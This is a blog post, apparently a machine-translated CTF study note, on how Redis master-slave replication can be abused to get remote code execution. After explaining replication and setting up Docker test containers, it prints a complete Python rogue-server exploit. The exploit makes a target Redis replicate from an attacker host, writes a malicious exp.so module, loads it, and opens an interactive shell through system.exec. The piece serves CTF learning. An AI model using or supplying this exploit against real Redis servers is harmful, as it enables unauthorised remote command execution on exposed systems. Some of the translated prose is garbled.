redis master-slave replication

redis master-slave replication

catalogue

preface

At the beginning, I'm going to laugh to death I happened to be writing ssrfme of WANGDING cup and learned that redis master-slave replication is still tangled here. A box pops up in the lower right corner of the computer

(I don't know when to add the free course. I think it's pretty good. It's mainly about high-end, and the most important thing is that you can whore for nothing!)

To get back to the point, you must study hard

introduce

effect

  1. Data redundancy (hot backup)
  2. Fault recovery (if the master node fails, the slave node can continue to provide services)
  3. The master node provides read-write services and the slave node provides read-write services

(actually, I think it's a little like hadoop distributed cluster)

principle

Master - slave replication refers to copying data from one redis server to other redis servers The former is called the master node and the latter is called the slave node. Data replication is unidirectional and can only be from the master node to the slave node

This is also the core of redis from ssrf to rce:

Through master-slave replication, the data of the master redis and the data on the slave redis are synchronized in real time. When the master redis writes data, it will be copied to other slave redis through master-slave replication.

In the process of full replication, recover the rdb file. If we construct the rdb file as a malicious exp.so, the slave node will automatically generate it, so that RCE can be used

The process is divided into three stages: connection establishment stage \ data synchronization stage \ command propagation stage

After the node executes the slaveof command, the replication process starts, which is divided into six stages:

  1. Save master node information
  2. Master slave establish socker link
  3. Send ping command
  4. Permission verification
  5. Synchronous data set
  6. Command continuous replication

problem

Since it is an allogeneic machine, there may be various problems with data across hosts

  • If the data is delayed, it will lead to inconsistent reading and writing The idea of monitoring offset is adopted. If the offset is out of range, it is directly switched back to the primary node

  • In case of data loss caused by asynchronous replication, it is required that the master node has at least n slave nodes linked before writing

  • Slave node failure allows the master node to be configured higher than the slave node and still available

  • When the slave node is disconnected, the memory fragmentation rate of the master node is too high. redis provides a debug reload restart mode to restart without affecting the runid and offset of the master node, while avoiding full replication that consumes resources

  • When the master node is down and restarted, the tree can be used to hand over the overhead to the slave node in the middle layer, so as to reduce the consumption of the master node

start-up

Run container

Pull the latest version of redis image

docker pull redis:latest

View local mirror

docker images (redis latest indicates successful installation)

Run container

docker run -itd --name redis-test -p 10000:6379 redis

View running status

docker ps -a

Enter container

docker exec -it redis-test /bin/bash

Connect to redis

redis-cli

There is also a machine to be built here. Repeat the above operation and change the name and port

Master slave replication start

Here, we start the master-slave replication of the slave node through the client command. After the redis server is started, you can directly enter the command

slaveof <masterip> <masterport>

This machine becomes a slave node

info replication view parameter information

You can see that the setting is successful and the test data is synchronized

Load malicious files

Since redis4 After X, redis added a new module function. Redis module can use external modules to expand redis functions, realize new redis commands at a certain speed, and have functions similar to those that can be completed inside the core.
Redis module is a dynamic library, which can be loaded into redis at startup or by using MODULE LOAD command

Stick a malicious note so file preparation address

Film r3kapig's master here, tql

Utilization principle

As mentioned above, master-slave replication will enable full replication to synchronize the rdb files of the master node to the slave node, so we can use the redis module feature to upload malicious so files to the master node, and full replication will help us synchronize to the child nodes

Establish rogue server

use This item The purpose of rogue server under is to send our module load command to redis during synchronization

Set slave node

slaveof <mastetip> <masterport>

Set redis database file

CONFIG SET dbfilename exp.so

Note: if some ctf s filter the file string, it can be bypassed by secondary encoding. And exp.so here cannot contain paths

rogue server accepts the return

+FULLRESYNC <Z*40> 1\r\n$<len>\r\n<payload>

Loading module

MODULE LOAD ./exp.so

exp

Stick the boss's exp

import socket
import time

CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"

def redis_format(arr):
    global CRLF
    global payload
    redis_arr=arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len(x))+CRLF+x
    cmd+=CRLF
    return cmd

def redis_connect(rhost,rport):
    sock=socket.socket()
    sock.connect((rhost,rport))
    return sock

def send(sock,cmd):
    sock.send(redis_format(cmd))
    print(sock.recv(1024).decode("utf-8"))

def interact_shell(sock):
    flag=True
    try:
        while flag:
            shell=raw_input("\033[1;32;40m[*]\033[0m ")
            shell=shell.replace(" ","${IFS}")
            if shell=="exit" or shell=="quit":
                flag=False
            else:
                send(sock,"system.exec {}".format(shell))
    except KeyboardInterrupt:
        return


def RogueServer(lport):
    global CRLF
    global payload
    flag=True
    result=""
    sock=socket.socket()
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    clientSock, address = sock.accept()
    while flag:
        data = clientSock.recv(1024)
        if "PING" in data:
            result="+PONG"+CRLF
            clientSock.send(result)
            flag=True
        elif "REPLCONF" in data:
            result="+OK"+CRLF
            clientSock.send(result)
            flag=True
        elif "PSYNC" in data or "SYNC" in data:
            result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
            result += "$" + str(len(payload)) + CRLF
            result = result.encode()
            result += payload
            result += CRLF
            clientSock.send(result)
            flag=False

if __name__=="__main__":
    lhost="192.168.163.132"
    lport=6666
    rhost="192.168.163.128"
    rport=6379
    passwd=""
    redis_sock=redis_connect(rhost,rport)
    if passwd:
        send(redis_sock,"AUTH {}".format(passwd))
    send(redis_sock,"SLAVEOF {} {}".format(lhost,lport))
    send(redis_sock,"config set dbfilename {}".format(exp_filename))
    time.sleep(2)
    RogueServer(lport)
    send(redis_sock,"MODULE LOAD ./{}".format(exp_filename))
    interact_shell(redis_sock)

demonstration

Running redis service

redis-test: 172.17.0.2

redis-test2: 172.17.0.3

Enable master-slave replication

Run rogue server

python redis-rogue-server.py --rhost 172.17.0.3 --lhost 172.17.0.1

Because I started it directly by default, redis.com is not set The security restriction is turned off in conf, so it is not connected. In fact, as long as the security restriction is turned off and exposed in the Internet, you can get the shell

Reference link

Posted by spaddict on Mon, 02 May 2022 21:50:19 +0300